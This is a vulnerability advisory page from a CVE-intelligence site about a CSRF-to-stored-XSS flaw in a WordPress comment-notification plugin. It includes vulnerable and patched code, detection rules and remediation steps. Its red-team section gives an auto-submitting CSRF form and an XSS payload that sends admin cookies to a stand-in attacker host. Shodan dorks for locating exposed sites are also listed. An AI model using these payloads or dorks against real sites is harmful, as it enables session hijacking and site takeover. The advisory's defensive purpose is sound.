☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Scweber logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25154

CVE-2025-25154 Cross-Site Request Forgery in Scweber
📅 PUBLISHED: 2025-02-07 10:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25154 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Custom Comment Notifications by scweber, affecting versions up to and including 1.0.8. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further chained to a Stored Cross-Site Scripting (XSS) issue, enabling persistent JavaScript execution in the WordPress admin panel. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx server configurations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not currently patched, and no official update has been released by the vendor (scweber). Users should consider removing or replacing the plugin until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin must click a crafted link)
  • Scope: Changed (CSRF leads to XSS, affecting other users)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the admin context, potentially leading to session hijacking, privilege escalation, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the custom-comment-notifications WordPress plugin. The plugin fails to implement proper CSRF tokens on administrative actions, such as saving settings or updating notification templates. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the plugin’s admin-ajax or settings endpoint.

Because the plugin also lacks output sanitization on certain stored fields (e.g., notification message templates), the CSRF can be used to inject malicious JavaScript. This stored XSS then executes whenever an admin views the plugin settings page, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to malicious sites.

Key Weaknesses:

  • No CSRF nonce verification on POST requests.
  • Insufficient sanitization of user-supplied input in notification templates.
  • Lack of capability checks on admin actions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire plugin version 1.0.8. The following is a representative example of the vulnerable pattern:

Vulnerable Code (admin.php):

function save_notification_settings() {
    // No nonce check
    update_option('custom_comment_notifications_template', $_POST['template']);
    // No sanitization
    echo '<div class="updated"><p>Settings saved.</p></div>';
}
add_action('admin_post_save_custom_notifications', 'save_notification_settings');

Patched Code (hypothetical):

function save_notification_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'custom_notifications_nonce')) {
        wp_die('CSRF validation failed.');
    }
    if (!current_user_can('manage_options')) {
        wp_die('Insufficient permissions.');
    }
    $template = sanitize_text_field($_POST['template']);
    update_option('custom_comment_notifications_template', $template);
    echo '<div class="updated"><p>Settings saved.</p></div>';
}
add_action('admin_post_save_custom_notifications', 'save_notification_settings');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with Custom Comment Notifications <= 1.0.8 installed and activated.
  • An authenticated admin user who can be tricked into clicking a malicious link.

Exploit Steps:

  1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
  2. Host the page on an attacker-controlled server or send it via email.
  3. When the admin visits the page, the CSRF triggers a POST request to save a malicious notification template containing XSS payload.

Example CSRF Payload (HTML):

<html>
<body>
<form action="http://target.com/wp-admin/admin-post.php" method="POST">
  <input type="hidden" name="action" value="save_custom_notifications">
  <input type="hidden" name="template" value="<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Stored XSS Payload:

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Defense & Detection)

Detection Steps:

  • Monitor for unexpected POST requests to /wp-admin/admin-post.php with action save_custom_notifications.
  • Check for unusual changes to the custom_comment_notifications_template option in the database.
  • Review server logs for referer headers that do not match the admin domain.

Honeypot Setup:

  • Deploy a decoy admin user with limited privileges to attract CSRF attempts.
  • Monitor for form submissions to admin-post.php without a valid nonce.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-post.php with action=save_custom_notifications and no _wpnonce parameter.
    • Outbound connections to attacker-controlled domains from the WordPress admin panel.
  • File IOCs:
    • Modified wp_options table entry for custom_comment_notifications_template containing <script> tags.
  • Behavioral IOCs:
    • Unexpected admin user actions without corresponding UI interaction.
    • Sudden appearance of JavaScript alerts or redirects in the admin panel.

Detection Engineering

YARA Rule

rule CVE_2025_25154_CSRF_XSS {
    meta:
        description = "Detects CSRF and Stored XSS in Custom Comment Notifications plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25154"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $csrf_endpoint = "admin-post.php"
        $plugin_option = "custom_comment_notifications_template"
    condition:
        $csrf_endpoint and $plugin_option and $xss_payload
}

Sigma Rule

title: CVE-2025-25154 - CSRF to Stored XSS in Custom Comment Notifications
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects CSRF attempts targeting the Custom Comment Notifications plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=save_custom_notifications'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25154 - CSRF to Stored XSS in Custom Comment Notifications"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=save_custom_notifications"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by the vendor.
  2. Remove or replace the plugin with an alternative that supports CSRF tokens and input sanitization.
  3. Audit the database for any stored XSS payloads in the custom_comment_notifications_template option.

Long-term Fixes:

  • Implement CSRF nonce verification using wp_nonce_field() and check_admin_referer().
  • Sanitize all user inputs with sanitize_text_field() or wp_kses_post() as appropriate.
  • Add capability checks using current_user_can('manage_options').

Workaround:

  • Use a Web Application Firewall (WAF) to block requests to admin-post.php without a valid referer header.
  • Restrict admin panel access to trusted IP addresses.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Custom Comment Notifications"
http.html:"custom-comment-notifications"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25154/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.